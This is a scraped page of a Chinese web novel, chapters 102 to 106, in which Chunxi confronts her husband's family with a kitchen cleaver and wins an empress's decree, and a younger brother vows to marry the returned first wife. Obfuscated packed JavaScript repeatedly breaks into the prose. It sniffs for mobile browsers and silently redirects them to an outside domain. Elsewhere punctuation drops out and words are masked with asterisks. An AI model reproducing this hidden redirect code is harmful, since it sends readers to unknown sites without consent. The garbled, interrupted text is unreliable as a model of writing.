l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578761|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年娘用着萧氏的嫁妆,还在衣食住行上区别对待,他从来都没有说过什么,在京兆府被上司冒领功劳,也一直都是逆来顺受。 可自从成婚之后,大哥就变得又争又抢起来。 先是要回萧氏的嫁妆不说,如今从徐州回来还如此高调,生怕别人不知道他有多劳苦功高似的。 若大哥对世子之位也看重起来,他还有机会吗? 沈清渊要先送犯人去诏狱,春喜先和沈清越回侯府。 沈清渊本想调两个禁卫军护送她回去,春喜摆摆手道:“夫君放心,我这是回自己家,又不是进什么龙潭虎穴,哪里还需要禁卫军相送,我可以的。” 沈清越也立刻道:“大哥放心,我会保护好大嫂的。” 春喜自信满满,沈清渊便也没有坚持,只道:“我一会儿还要进宫面圣,会很晚回来,晚上你早些休息,不必等我。” 春喜点头,下一刻又听到沈清渊说:“这次徐州之行,夫人也出了不少力,我会为夫人请功的。” 春喜没当回事,只以为沈清渊是故意说出来震慑沈清越的,当即配合道:“其实我也没做什么,陛下给了夫君奖赏,也是奖赏我了。” 春喜挥挥手,和沈清渊分开,朝着侯府而去。 跟在后面的沈清越看春喜的眼神变得凝重。 他原本以为这个大嫂出身低微,上不得台面,大哥也不过是图一时新鲜,将她带去徐州是怕她被欺负,直到刚刚听到沈清渊说要为春喜请功,沈清越才陡然清醒。 自家大哥是认真的! 沈清渊是真的爱重这个叫曹春喜的女子,所以他现在又争又抢,要将她护在羽翼之下,还要想方设法抬高她的身份,叫所有人都再不能轻看她、欺辱她。 有了这个认知,再想到侯府里严阵以待的众人,沈清越只觉得大事不妙。 大哥如此看重大嫂,却任由三弟把莫芸婉接回侯府,不会是故意将计就计让他娘搬起石头砸自己的脚吧? 第102章 见过诸位长辈 一进侯府大门春喜就捂着肚子说:“二弟我先回问心院一趟你先去跟母亲报平安吧我去去就来。” 春喜说完就想走沈清越跟了两步关切地问:“大嫂是有什么急事?” “确实挺急的”春喜面露急色不等沈清越追问又道“人都有三急二弟应该能懂吧?” “……” 沈清越说不出话来只能看着春喜一溜烟地跑开。 前厅里众人已经知道春喜回了府一个个全都挺直腰杆摆好架势等着兴师问罪莫氏更是将满头珠翠摸了一遍确保自己今日雍容华贵、气势全开。 沈清渊是不好拿捏但曹春喜就是个出身低微的泥腿子只要趁着沈清渊进宫面圣这段时间逼得这个小蹄子主动让位沈清渊就算回来了也没用。 莫氏和宁氏对视一眼 “那个小贱蹄子呢?” 老夫人吴氏按捺不住最先开口。 这些日子她跟莫氏斗智斗勇并未占到什么好处反而又要被莫氏扫地出门她急于向春喜发难好跟莫氏证明自己的价值继续留在侯府享福。 沈清越对这个浑身陋**的祖母没有半点亲近之意只看着莫氏和莫家人说:“大嫂身体有些不适先回问心院了一会儿再来向诸位长辈请安。” 回来就往问心院躲她这是知道怕了? 莫氏心里得意气势更甚当即冷斥:“明知道有这么多长辈等着她她还敢摆架子真是好大的胆子贾嬷嬷快去把少夫人带来!” 莫氏一声令下贾嬷嬷立刻就要带着几个粗使婆子去问心院拿人。 沈清越连忙开口:“大嫂一路舟车劳顿想先休息一下也是人之常情而且这次大嫂随大哥去往徐州帮了大哥不少忙大哥说会在面圣之时为大嫂请功母亲还是不要为难大嫂的好。” 沈清越本以为这样说完莫氏就能消停下来谁知话音刚落莫氏就变了脸色气得拍桌。 “这个逆子是疯了吗他竟然要给这个小贱蹄子请功?这个小贱蹄子莽莽撞撞的不惹事就好了能立什么功宇儿也去徐州待了很长时间还受了伤这个逆子怎么不想着分点儿功劳给宇儿?” 沈清渊能顺利破案归来已经很让莫氏眼红了他却还想着给曹春喜邀功这不是明摆着想让曹春喜骑到她这个婆婆头上吗? 莫氏怒不可遏莫家的人则是慌乱。 沈清渊 如果真的到御前为自己的新夫人邀功,那莫芸婉在侯府哪里还有立足之地? 宁氏担忧地看向莫芸婉:“婉儿,你不是一直在徐州和他们待在一起吗,沈清渊这位新夫人当真为了立下大功了?” 莫芸婉咬唇,她在遇到沈清渊那日就被踹断肋骨,大多数时间都在养伤,被沈清渊当众逼着**后,更是闭门不出,她哪里知道春喜做过什么? “女儿大多数时候都在房间养伤,对这些事不是很清楚。” 莫芸婉柔柔弱弱地开口,说了跟没说一样。 莫氏暗骂她不中用,这时沈清宇站出来说:“表姐不知,我却是知道的,这个曹春喜在徐州只知道吃吃吃,根本没有干过什么正经事,大哥说要为她请功,多半是故意说出来吓唬我们的。” 沈清宇言之凿凿,莫氏顿时就相信了。 她就知道,曹春喜就是个没见识的粗野丫头,怎可能帮得上沈清渊的忙? 众人也都跟着放心下来,沈清越仍觉得不妥,他忍不住提醒:“我瞧大哥神色严肃,不似作假,这么多天大家都等了,不如等大哥从宫里面圣回来再说吧。” 万一大嫂真的得了陛下的封赏,让外人知道他们两家趁着大哥不在家,联手欺负大嫂就不好了。 沈清越还是希望行事稳妥一些,莫氏和宁氏却等不了。 莫芸婉的事必须早早定下来才行,不然等沈清渊从宫里回来,他是绝对不会认下这桩婚事的。 沈清宇也恨不得马上打得春喜跪地求饶,当即道:“二哥,你不要总是畏首畏尾的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578762|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若你实在害怕大哥,就先回族学里去,家里发生什么事都跟你没有关系,我沈清宇今天把话放在这儿,曹春喜要是真的在徐州立了功,我就把脑袋砍下来给大哥当凳子坐!” 为了显得有气势,最后一句话沈清宇的声音拔得很高。 莫氏和众人都因为这句话振奋起来,还没走进前厅的春喜正好也听到了这句话。 她大步跨入前厅,朗声道:“三弟怎么知道问心院正好还缺张凳子,你这话若是作数,我待会儿就让人磨斧子,尽量磨得锋利些,这样**的时候三弟才不会感觉到疼。” 春喜换回了女子衣裙,又梳了个简单的妇人发髻。 她大步流星走到大厅中央,目光从众人脸上一一扫过,没有丝毫怯场,反而隐隐有两分久别重逢的兴奋,加上她嘴里还说着要磨斧头砍掉沈清宇的脑袋,顿时让在场的人都感觉到一股说不出的诡异感。 好像她真的敢把沈清宇的脑袋砍下来当凳子坐。 “放肆!”吴氏最先回过神来,指着春喜怒骂,“你这个没有家教的小娼妇,谁给你的胆子这么跟自己的小叔子说话,嫁进婆家不好好在家里侍奉长辈,竟不知羞耻地缠着男人在外面跑,我活这么大年纪,还从没见过你这样自甘**的人!” 吴氏不愧是市井出身,骂人骂得很脏。 以前莫氏最不喜欢的就是吴氏这张臭嘴,这个时候听着却难得的顺耳起来。 她暗暗吐出一口恶气,有吴氏帮她骂人,她便又恢复了侯夫人的尊贵。 春喜并不生气,也不跟吴氏对骂,只是朝吴氏走了两步,从背后抽出一把菜刀来。 小厨房砌好后,她添置了一整套的锅碗瓢盆,刀也买了好几把,每一把都是她精挑细选的,相当锋利。 看到这把刀,吴氏脸色微变,脸上的皱纹都跟着颤了颤,原本等着看热闹的众人也都跟着心惊胆跳起来。 不是,哪个好人家的新媳妇会别把菜刀来见长辈??? 第103章 以后婉儿为尊你为卑 菜刀一出,整个大厅都安静下来。 春喜这才看向吴氏:“祖母方才说什么,我有点儿没听清,麻烦您再说一遍。 春喜把刀都拿在手上了,吴氏哪敢再说一遍,但这么多人看着,她也不能认怂,只能板着脸说:“你还知道我是你祖母,怎么跟我说话呢,你好歹也是侯府的少夫人,拿把菜刀来见长辈成何体统? 到底害怕,吴氏没敢再骂人,都用上辞藻了。 然而话音刚落,春喜手里的菜刀就飞了出来,笃的一声砍在吴氏坐的太师椅椅背上。 春喜的动作太快,吴氏根本来不及躲闪,衣袖都被那菜刀砍出一道口子。 “啊啊啊! 吴氏惨叫出声,其他人也不觉发出惊呼,谁也没想到春喜会真的动手。 春喜神色不变,三两步上前,一脚踩在太师椅上,轻轻松松把菜刀拔下来。 拔完菜刀,她没急着退开,保持着那个姿势看着吴氏:“祖母现在可以把刚刚的话再说一遍了吗? 吴氏浑身都吓软了,她不敢再嘴硬,连忙道:“我刚刚什么都没说,你是我孙儿亲自挑选的孙媳妇儿,肯定不会差的,以后我只认你这一个孙媳妇儿。 吴氏的声音都有点发抖。 现在的春喜在她眼里不再是可以随意拿捏的小媳妇儿,而是能拿起菜刀嘎嘎**的母夜叉,她这把老骨头哪禁得起折腾? 得到满意答复,春喜这才露出笑容:“原来是这样啊,那刚刚应该也是我听错了。 菜刀在手里挽了个花,又被春喜别回后腰,她恢复一开始的温和柔顺,看向众人:“对不起,吓到大家了吧,我也不是故意的,实在是这一路跟夫君遇到的刺客太多,不自觉养成了要带点儿东西防身的习惯,今天这么多人聚在一起是有什么大事要商议吗? 众人:“…… 你这刀差点儿把你夫家的祖母给劈死,你还敢腆着脸说不是故意的? 那可是上好的黄花梨木做的椅子啊,你是用了多大的力气才能在上面砍出这么深的口子出来? 而且你不是早就知道你夫君的第二任妻子死而复生了吗,现在两家人坐在一起,你能不知道是要商议什么事? 众人自动忽略刺客这件事,只觉得春喜是在胡诌,但刚看她露了这么一手,谁都不敢再开口让她自请下堂,只能把目光投向莫氏。 说到底,这事还得她这个侯府主母拿主意。 莫氏本想让吴氏先挫挫春喜的锐气,等时机成熟再开口拿捏春喜 ,谁知春喜去了趟徐州,回来之后行事越发荒唐大胆了,这会儿被众人看着,莫氏只能在心里骂人。 这些人在她面前都挺能说会道的,真遇上事一个个的就都怂了,要他们有什么用? 不过骂归骂,事儿还得办。 深吸两口气平复情绪,莫氏肃着脸开口:“这是侯府,没有刺客,你先把刀交出来。” 莫氏说着给贾嬷嬷递了个眼色,示意她去把菜刀拿走,不然谁敢大声跟春喜说话? 贾嬷嬷接收到眼神,却有些不敢上前,她也一把年纪了,说到底只是个下人,少夫人不敢动老夫人却是敢对她动手的啊。 春喜把贾嬷嬷的神色变化尽收眼底,扬声道:“这刀是我从问心院的小厨房拿的,一会儿带回去就行,不劳母亲费心,我和夫君离家这么久,屋里落了不少灰,母亲若是没什么事要交代,那我就回去打扫了。” 春喜说完作势要走,莫氏知道不能再拖延,连忙开口:“站住!我让你走了吗?” 春喜停下,挑眉看着莫氏。 莫氏轻咳一声说:“婉儿和渊儿什么关系你应该都清楚了,婉儿当年是为了去找渊儿才意外坠崖的,这些年她重伤失忆,一直在一位神医家中养伤报恩,之前在徐州也已证实她仍是清白之身,我与莫家诸位长辈商议过了,她毕竟比你先进门,既然她回来了,以后她为尊你为卑。” 春喜手里有刀,莫氏没敢把人扫地出门,只含含糊糊地定下尊卑,至于这个卑是让春喜做平妻或者妾室通房,以后都可以再议。 莫氏态度强硬,并没有跟春喜商量的意思,只是通知。 不等春喜开口,沈清宇便迫不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578763|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待地冷笑道:“听到了吗,我早就说了,侯府上下只认一位大少夫人,你这种粗野泼妇,根本没有资格做我大嫂!” 春喜凉凉扫了沈清宇一眼:“三弟的脑袋都要砍下来给我当凳子坐了,还有精力选自己心仪的大嫂,心未免也太大了。” 这句“心仪的大嫂”刺中了沈清宇心底的秘密,他脸色微变,正要怒骂,沈清越拉住沈清宇:“够了,三弟,别闹了。” 等沈清宇安静下来,春喜这才看向莫芸婉:“莫姑娘也是这个意思吗?” 莫芸婉垂眸,不敢看春喜的眼睛,只委委屈屈地说:“婚姻大事,关乎两家颜面,今日这么多长辈在此,轮不到婉儿说话。” 言下之意,她没有选择的权力,所以她之前在徐州说愿意解除婚约的话不作数,她都听长辈的。 宁氏多年未见女儿,听到莫芸婉被春喜如此逼问,顿时来了火气,当即道:“婉儿说得对,婚姻大事该由家中长辈做主,这里还轮不到你一个晚辈说话,来人,请曹家的人进来!” 宁氏一声令下,王氏走进大厅。 许是被人威胁过,王氏低着头,佝偻着腰,瞧着胆小怯懦极了。 王氏恭恭敬敬地向众人行礼,面对春喜却是变了一副面孔,她双手叉腰,横眉竖眼,习惯性地想要训斥这个女儿又给她闯祸惹来麻烦。 然而不等她开口,春喜先一步道:“我已经跟她断绝母女关系,你们找错人了,她做不了我的主。” 春喜语气很淡,神情冷漠,看王氏的眼神像是看着一个陌生人。 王氏酝酿了一路的训斥梗在喉咙,脑瓜子嗡嗡的,手都控制不住颤抖起来,她不可置信地问:“混账东西,你说什么?” 春喜没有看王氏,冷声喝道:“来人,把她赶出去!” 话落,问心院的护院现身,架着王氏往外走。 两个护院人高马大,王氏不敢反抗,过了半晌终于嚎啕出声:“曹春喜,我是你亲娘,你要是不认我是会遭天打雷劈的!” 春喜无动于衷。 这世上该遭雷劈的人多了去了,她算老几? 第104章 宫里来人了 王氏来也匆匆去也匆匆。 众人皆被春喜的雷厉风行打了个措手不及最终宁氏先回过神来她忍不住质问:“你怎么能这样对自己的亲生母亲?” 春喜理直气壮:“夫人若是对我家那些陈芝麻烂谷子的事感兴趣改日我可以细细说与夫人听今天还是先说莫姑娘的事吧。” 春喜把众人的注意力拉回来宁氏当即肃着脸说:“我女儿当年是八抬大轿、明媒正娶进的侯府如今她已自证清白侯府不能不认这桩婚事!” 春喜点点头并没有去质疑莫芸婉的清白之身伸手探向后腰。 莫家的人顿时紧张起来莫家的丫鬟婆子更是警惕地上前护住宁氏生怕春喜掏出菜刀来砍宁氏。 春喜动作一顿偏头看向站在莫氏身后的莫芸婉:“他们都怕我对你娘不利莫姑娘不过来护着你娘吗?” 莫芸婉咬了咬唇柔声说:“你有什么不满尽管冲我来不要伤害其他人。” 话是这么说莫芸婉还是站在莫氏身后没有挪动半步。 春喜眉梢微扬看向宁氏:“莫姑娘对自己的亲娘好像也不过如此啊。” 宁氏和莫芸婉都是胸口一滞没有想到春喜如此睚眦必报逮着机会就把宁氏刚刚说的话呛了回来。 说完这句话 “当初所有人都以为莫姑娘意外坠崖莫家人把这件事怪到我夫君头上说是我夫君克**她还大张旗鼓地来侯府要了许多赔偿如今莫姑娘平安归来诸位是不是应该先把这些东西还回来?” 莫家人看到这份清单后气势顿时弱了下去。 当初莫芸婉出事他们只想着趁机尽可能多地狠敲沈清渊一笔各房都出了力这些东西早就被瓜分得一干二净正是因为得了好处所以这次莫芸婉回来各房才愿意出人帮莫芸婉撑腰壮大声势。 可现在春喜要他们把早就吃下去的肥肉又吐出来他们怎能愿意? 莫家众人全都看向宁氏宁氏当即道:“婉儿是因为沈清渊才发生意外的这些年她流落在外不知吃了多少苦那些东西是她应得的赔偿!” “既然是她应得的赔偿那她要重回侯府难道不该把赔偿带回来吗?”春喜反问不等宁氏开口又道“而且这些年我夫君的名声也因此受损还为她守寡多年莫家难道不该给我夫君一些赔偿吗?” 前厅站满了人春喜只有一个人而且身形娇小除了她腰后别的 那把菜刀,再无别的倚仗,她的气势却远在众人之上。 原本大家是想施压逼她自请下堂或者主动让位给莫芸婉的,结果她三言两语就将形势逆转,变成了她代沈清渊在这儿讨债! 莫家众人的脸色很不好看,莫氏这会儿倒是不着急了。 她本就不太愿意让莫芸婉再回到侯府,今天看到莫芸婉除了哭毫无手段,更觉失望。 莫芸婉身上烂事一堆,在沈清渊眼皮子底下晃悠只会后患无穷,春喜若能以此逼退莫家也好,若是不能,从莫家要些赔偿,到时捏在她这个婆婆手里也是极好的。 莫氏并不开口呵斥春喜,宁氏咬着牙在心里把莫氏骂了个狗血淋头,她就知道,这个小姑子向来唯利是图,根本靠不住! 宁氏和春喜一番讨价还价,春喜始终寸步不让,宁氏为了女儿,最终还是接过了那份清单。 宁氏粗略看了一眼,这上面大多数东西她都有印象,确实是送到莫家的,但也有一些她根本没见过,像是有人浑水摸鱼加上去的。 宁氏忍不住看了莫氏一眼,莫氏半阖着眼,避开了她的目光。 宁氏咬咬牙,收好清单:“这些东西我会想办法凑齐,若是寻不到的,就按照市价兑成现银,我们莫家家大业大,没必要为了这点儿东西葬送女儿的婚事。” 宁氏说完,摆足了架势看着春喜。 她能凑钱给莫芸婉撑腰,春喜有什么呢? 春喜迎着宁氏的目光,露出一抹浅笑:“既然莫家不差钱,还请夫人派个人回去清点盘算,等东西拿来了,咱们再谈下一步的事。” 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这是沈清渊离京前雇回来的,足足有二十人,个个都是好手,人数上比莫家的家丁还要多。 双方对峙,气氛变得剑拔**张起来,莫氏见状,同样装瞎,并不阻止。 沈清宇则冲问心院的护院呵斥:“你们是什么人,谁让你们对侯府的贵客动手的,还不退下!” 沈清宇语气很凶,明显是要偏帮莫家。 正在这时,门房突然慌慌张张地来报:“夫人,宫里来人了!” 听到这话,春喜立刻挑眉。 虽然还不知道宫里来人是做什么的,但受春喜影响,所有人都下意识地眼皮一跳,忍不住看向沈清宇。 准确地说,是看着他的脖子。 沈清宇死死咬牙,这些人看什么看,别说曹春喜不可能立功,就算真的立了一点儿微不足道的功劳,她难道还真有胆子砍了他的脑袋不成? 第105章 大哥不要,我要! “今闻清远侯嫡长媳曹氏机敏聪慧、心地善良、顾全大局清远侯长子沈清渊文武双全、有勇有谋二人心意相通品性相契虽已拜堂成亲却尚未大办婚宴为彰显皇家仁德皇后娘娘特命钦天监另择吉日并为曹氏备下嫁妆三十抬着礼部速办婚嫁诸事钦此!” 宣旨太监尖厉高亢的声音在空中盘旋众人全都傻了眼。 春喜也很意外。 她没想到沈清渊真的能帮她请功而且皇后还亲自下了懿旨让礼部帮他们补办婚礼。 皇后娘娘都亲自夸奖她了日后还有谁敢看轻她? 春喜高兴地接了旨塞了一锭银元宝给传旨的公公:“这么热的天真是辛苦公公了。” 春喜言辞恳切出手也算得上大方公公收起银锭露出笑容而后看向莫家众人:“沈大人尚未归家怎么府中这么热闹连莫家的人都请了过来?” 莫家众人个个神情尴尬不敢发声。 皇后的懿旨还拿在曹春喜手里呢他们说什么说他们来逼着人家下堂让位? 这不是打皇后的脸吗? 莫家的人不敢说春喜敢她笑眯眯地开口:“公公有所不知莫家大小姐死而复生回来了她入门时虽然我夫君不在家但到底也是入了门的总要给莫家一个说法。” 能来宣旨的公公在宫中贵人面前都是能说得上话的也能传达宫中贵人的态度不过他们一般都不会插手别人的家务事。 而且这种家宅隐私怎可随意说给宫里来的人听也不怕传出去脏了贵人的耳朵? 莫氏恶狠狠地剜了春喜一眼正想把这个话题糊弄过去却听到宣旨的公公说:“这件事沈大人也已经跟陛下和娘娘说过了莫小姐尚是完璧并未与沈大人圆房如今沈大人已经另娶莫小姐也答应取消婚约两家可以好聚好散。” 好聚好散? 这怎么可能好聚好散? 宁氏忍不住开口:“公公你有所不知我家婉儿……” “莫二夫人”公公报告声音打断宁氏看宁氏的眼神有点冷“奴才只是传达了皇后娘娘的话夫人是对皇后娘娘的决策有什么不满吗?” 宁氏脸色一白连忙低头:“臣妇不敢。” 宁氏都不敢吱声莫家其他人更不敢说话了。 公公一走莫家其他人也要离开莫氏突然开口:“既然皇后娘娘说了让这两个孩子好聚好散二嫂是不是应该把婉儿带回家去?” 宁氏掐紧掌心 经带沈清迟去太傅家露过脸了,还在太傅夫人面前帮着说了许多好话,莫氏现在简直是过河拆桥,可皇后金口玉言在此,偏偏她还拿莫氏没有办法。 宁氏咬紧牙关,不敢看女儿受伤失落的表情。 莫芸婉却早有预料,她红着眼眶,凄凄切切地看向沈清宇。 因为知道自己不可能争得过春喜,和沈清宇单独走这一路,她没少勾搭沈清宇。 擦身子的时候假装有蛇衣衫不整地扑进沈清宇怀里,大腿被磨破了欲拒还迎地让沈清宇帮忙擦药,还在淋了雨后高烧糊涂之下抱着沈清宇喊夫君。 沈清宇正是血气方刚的年纪,身边又连个通房丫鬟都没有,如何能禁得住如此诱惑,因此早在回京之前,两人就有了鱼水之欢。 沈清宇本就舍不得让莫芸婉回到沈清渊身边,这会儿被莫芸婉这样一看,顿时气血上涌,当即大声道:“娘,你别赶婉儿走,这件事终究是侯府亏欠了她,既然大哥不愿意认这门亲,那就让我娶婉儿为妻吧!” 说着话,沈清宇大步走过去将莫芸婉护在身后。 莫氏本想着让春喜和宁氏斗个你死我活,她好坐收渔翁之利,怎么也没想到沈清宇会在这个时候跳出来说要娶莫芸婉为妻。 别人不知道莫芸婉是什么货色,她还能不清楚吗? 她的宇儿怎么能娶这种破鞋为妻? 莫氏眼前一阵阵发黑,好半晌才找回自己的声音:“混账东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578765|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,她是你大嫂,你怎么能对她生出这种龌龊心思?” 沈清宇大声反驳:“当年婉儿过门,大哥根本不在京里,婉儿是抱着公鸡拜的堂,而且婉儿和大哥根本没有夫妻之实,既然他们并未礼成,那就算不得是夫妻,我娶婉儿有何不可?” 这个**是和沈清渊没有夫妻之实,但她早就被那个戏子**了,她哪里还有清白之身? 莫氏知道真相,此时却无法说出口,感觉自己像是吞了一万根针,恨不得扑上去活剥了莫芸婉。 若是早知道这个**会勾搭上宇儿,她就该派人把这**弄死在徐州,绝不让这**回来作妖! 莫氏气得喘不上气来,贾嬷嬷连忙扶住她,同时厉声对沈清宇道:“三少爷,你别胡闹了,你看看你把夫人气成什么样了?” 莫氏是真的气得不轻,脸色青得难看,沈清宇也怕把她气出个好歹来,正有些动摇,宁氏两眼放光的上前。 “我觉得宇儿的提议极好,婉儿早就进了侯府的门,这些年她在外面吃苦受罪,如今好不容易回来,还要被退婚,哪有好人家愿意娶她,沈清渊不愿意负责,那就让宇儿负责。” 莫家的人也都跟着附和。 他们不知道莫芸婉跟戏子奔逃的事,但莫芸婉如今年纪大了,虽说已自证清白,但能帮她作证的梁夫人已经入了狱,谁也不知道她流落在外那几年到底跟什么人混迹在一起,回到莫家多少会影响族中女子的声誉,不如改嫁沈清宇,还能延续两家的关系亲上加亲。 听到莫家的人都偏向宁氏,莫氏只觉得喉头腥甜,险些吐出血来。 她无比怨毒地瞪着宁氏:“都给我滚!我告诉你们,只要我还有一口气在,我就不可能同意这门婚事!” 春喜从当事人变成了吃瓜群众,险些被沈清宇的话惊掉下巴。 好家伙,连过了门的大嫂都敢觊觎。 这猪脑子拿来当凳子坐会不会害她也变蠢? 第106章 自食恶果 莫氏气得当场晕过去。 莫家的人虽然离开,莫芸婉却留了下来。 贾嬷嬷派人去请了大夫,一番扎针熬药,莫氏终于在夜里悠悠转醒。 沈清宇一直守在主院,听大夫说莫氏只是一时气急攻心,并无大碍,立刻进屋跪到莫氏床边:“娘,儿子此生非婉儿不娶,求娘成全儿子吧! 天已全黑,屋里灯火通明,莫氏揉着太阳穴,正怀疑晕倒前发生的一切是不是一场噩梦,就被沈清宇的话拉回现实。 她的胸口剧烈起伏,让屋里伺候的丫鬟都退得远远的,这才沉沉开口:“你以为我为什么促成她和你大哥在一起,她根本就不是个省油的灯,你不能娶她。 “可回来的路上,儿子情难自控,已经夺了她的处子之身,儿子若不对她负责,这不是逼着她**吗? 沈清宇皱紧眉头,想到那一夜的缠绵,还有时候莫芸婉柔柔弱弱靠在他怀里的模样,浑身的血液都忍不住有些沸腾。 虽然娶了前大嫂这件事传出去不大好听,但婉儿和大哥根本没有发生什么,能长长久久地跟婉儿在一起,受点儿骂名也没什么。 沈清宇一脸的甘之如饴,莫氏却是再度气急攻心。 这个**,竟然在路上就勾引宇儿跟她睡在了一起,难怪曹春喜耍威风的时候她一个屁都不敢放呢。 莫氏后悔不已,她再也无法维持体面,将真相全盘托出:“傻儿子,她早就不是什么清白之身了,当年她也不是为了找你大哥意外坠崖,而是珠胎暗结,跟戏子私逃了,她在骗你啊。 莫氏说着眼底隐隐有泪光闪现。 她想让莫芸婉回来跟春喜斗的时候只觉得暗爽,这会儿换成沈清宇,她便觉得像是钝刀子割肉,实在是太痛了。 她的宇儿资质虽然不太好,但也是正正经经的侯府少爷啊,就算娶不了门第多高的姑娘,但至少能挑个知书达理、温柔娴静的清**,要是娶了莫芸婉,这辈子岂不是都完了? 莫氏一脸期盼地看着沈清宇,满心以为沈清宇在知道真相后会对莫芸婉厌恶至极,谁知下一刻却听到沈清宇说:“婉儿果然说得没错,为了不让我们在一起,娘会用最恶毒的话攻击她。 “…… 莫氏喉咙一甜,险些呕出血来。 她怎么就生了这么个又蠢又好色的货? “我是你亲娘,这些年我什么时候没在为你着想,你跟那个**才认识多久,你就信了她的挑拨离间? 莫氏又气又伤心,沈清宇却 纠正道:“婉儿不是**,她是清白的,在徐州时我已将她这些年的遭遇都查清楚了,还陪她一起去拜谢了那位名医,而且那夜婉儿是何等的青涩害羞,我这里还有她的元帕呢,我不是相信婉儿的话,我是相信证据!” “什么狗屁证据,当年她离开时都快显怀了,怎可能还是完璧之身?” 莫氏急得彻底没了体面,却只得到沈清宇的一句反问:“那娘说这些有证据吗?” “……” 莫氏噎住。 当年莫芸婉一逃,宁氏就派人将所有知情的人赶出了瀚京,莫芸婉身边的丫鬟婆子更是全被发卖,为了不让沈清渊发现,莫氏甚至还帮着处理了几个侯府的人,现在这件事除了她、老二夫妻还有莫芸婉,根本没有第三个知情人。 她上哪儿拿证据? 莫氏唇瓣颤抖,说不出一句话来,沈清宇露出一副果然如此的表情,放狠话道:“反正我就要娶婉儿,娘一日不答应,儿子就绝食一日!” 沈清宇说完大步离开,莫氏再也忍不住,趴在床头喷出一口血,这时沈清越走进屋来:“娘,你没事吧?” 看到二儿子,莫氏顿时像是看到了救星,她连忙擦掉唇角的血,抓着沈清越说:“越儿,你快劝劝你弟弟,他中了那个**的邪,你可千万不能让他娶那个**啊。” 沈清越现在还顾不上沈清宇,他压低声音问莫氏:“大哥回来这一路遇到了很多次刺杀,这件事可与娘有关?” 莫氏正在气头上,听到这话先是一愣,而是像是被打通了任督二脉,近乎疯魔地低声喃道:“一定是他干的,他这个人最是睚眦必报,之前我不过是找人煽动百姓当街朝他扔臭鸡蛋,他就派人把你们踹下茅坑,这次肯定也是他故意害你三弟,我就不该让他活到现在!” 莫氏哭红了的双眼迸发出强烈的恨意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578766|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清越连忙捂住她的嘴:“娘,这件事既然与你无关,以后可千万不要再说这样的话,你是侯府主母,若是干出坑杀继子这种事,我和三弟一辈子都要被人戳脊梁骨的。” 更何况,沈清渊背后还有萧家撑腰。 莫氏眨眨眼,泪水不住滚落,沈清越这才道:“三弟的事我会想办法劝的,你别太着急。” 出了主院,沈清越没有回自己的院子,而是去了前门等着。 深夜,沈清渊终于从宫里回来。 踏着如墨的夜色,沈清渊周身的气息也是冷的,整个人看着比白日凌厉许多。 隔着老远,沈清越就迎了上去。 “大哥, 你回来了。” “嗯。” 沈清渊颔首,脚下步子没有丝毫停留,沈清越继续道:“恭喜大哥顺利破案,今日皇后娘娘已经下了懿旨着礼部为大哥大嫂补办婚礼,想来陛下也会因此擢升大哥。” 沈清渊没接话,并不打算透露他今日在宫里和陛下都聊了什么。 冷淡极了。 沈清越并不觉得尴尬,自顾自道:“我已经问过娘了,娘对大哥路上**的事毫不知情,大哥能不能高抬贵手,放三弟一马?” 和莫氏一样,沈清越也觉得沈清宇想娶莫芸婉是沈清渊一手促成的。 听到这话,沈清渊终于停下步子。 他微微偏头,冷眼睨着沈清越,清冷的眸光如有实质,能穿过皮囊看透一切。 沈清越不自觉绷紧身子,不知过了多久,他才听到沈清渊说:“我知道她没有这个胆子杀我。” “那大哥为何还要让大嫂在我面前说这些?” 沈清越脱口而出。 沈清渊右眉眉梢很轻微地挑动了下,淡淡开口:“因为我想提醒你,不要走错路。” 沈清越浑身的汗**在这一刻全部炸开。 